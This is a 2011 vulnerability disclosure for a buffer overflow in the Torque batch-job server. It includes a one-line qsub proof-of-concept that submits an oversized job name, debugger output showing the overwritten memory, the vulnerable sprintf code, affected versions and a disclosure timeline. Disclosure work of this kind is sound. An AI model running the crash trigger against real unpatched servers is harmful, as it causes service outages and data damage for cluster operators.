Name: Torque Server Buffer Overflow Vulnerability
Author: Adam Zabrocki (<email@example.com>)
Bartlomiej Balcerek (<firstname.lastname@example.org>)
Date: March 27, 2011
TORQUE Resource Manager provides control over batch jobs and distributed computing resources. It is an advanced open-source product based on the original PBS project* and incorporates the best of both community and professional development. It incorporates significant advances in the areas of scalability, reliability, and functionality and is currently in use at tens of thousands of leading government, academic, and commercial sites throughout the world. TORQUE may be freely used, modified, and distributed under the constraints of the included license.
TORQUE is commonly used in most of the GRID projects including WLCG,
A buffer overflow vulnerability has been found in the Torque server. This was reported to the EGI SVG (RT 1870) as well as to the Torque software providers.
This has been fixed by the Torque Providers, and an updated version is also available in EPEL.
Torque server does not check the length of "job name" argument before
using it - this string is verified only on the client side. It is
possible to use modified Torque client or DRMAA interface to submit job
with arbitrary chosen job name in terms of length and content. Thus, it
is possible to attacker to overflow buffer and overwrite some Torque
server process internal data causing its specific behavior.
What can be overwritten is log_buffer global string array and
all next symbols:
0000000000734b00 B log_buffer
0000000000738b00 B msg_registerrel
0000000000738b08 B msg_manager
0000000000738b10 B msg_startup1
0000000000738b18 B msg_momnoexec1
0000000000738b20 B msg_man_uns
0000000000738b28 B msg_sched_nocall
0000000000738b30 B msg_issuebad
0000000000738b38 B stdout@@GLIBC_2.2.5
0000000000738b40 B msg_job_end_stat
0000000000738b48 b dtor_idx.6147
0000000000738b50 b completed.6145
0000000000738b58 b acct_opened
0000000000738b5c b acct_auto_switch
0000000000738b60 b acctfile
0000000000738b68 b acct_opened_day
0000000000738b70 b spaceused
0000000000738b78 b spaceavail
0000000000738b80 b username.6360
0000000000738bc0 b groupname.6402
Here is example how to submit the crafted job:
[bartol@bartek_torque torque-mod]$ echo /bin/date | ./src/cmds/qsub -Z
"Job_Name=`perl -e 'print "A"x16350'`"
It is possible now to see in debugger that structures adjacent to
log_buffer are overwritten with "A" chars (encoded as 0x41 numbers):
Program received signal SIGINT, Interrupt.
0x00000033550cd323 in __select_nocancel () from /lib64/libc.so.6
(gdb) x/20x 0x0000000000738b00
0x738b00 <msg_registerrel>: 0x4141414141414141
0x738b10 <msg_startup1>: 0x4141414141414141
0x738b20 <msg_man_uns>: 0x4141414141414141 0x4141414141414141
The overflow occurs in the following code:
1560 sprintf(log_buffer, msg_jobnew,
1561 preq->rq_user, preq->rq_host,
We proved that server crash is easily possible (including database
damage) and we think privilege escalation can be done with some more
effort as well, but the latter is strongly dependable on particular
build flags and architecture.
The overflow is also possible in pbs_iff setuid binary, since the "host"
variable length is not checked:
sprintf(log_buffer,"cannot resolve IP address for host '%s'
Versions of Torque prior to Torque 2.4.14 and also Torque 3.0.[0,1]
RH release for SL5:
Cluster resources ref.
2011-05-10 Vulnerability reported to EGI SVG by Bartlomiej Balcerek, in
addition to reporting to
2011-05-10 Acknowledgement from the EGI SVG to the reporter
2011-06-06 Software provider states issue fixed
2011-06-07 Bug subitted in RH EPEL, as EGI mostly uses EPEL distribution
2011-06-22 Updated packages formally released in EPEL
2011-06-24 Public disclosure by the EGI SVG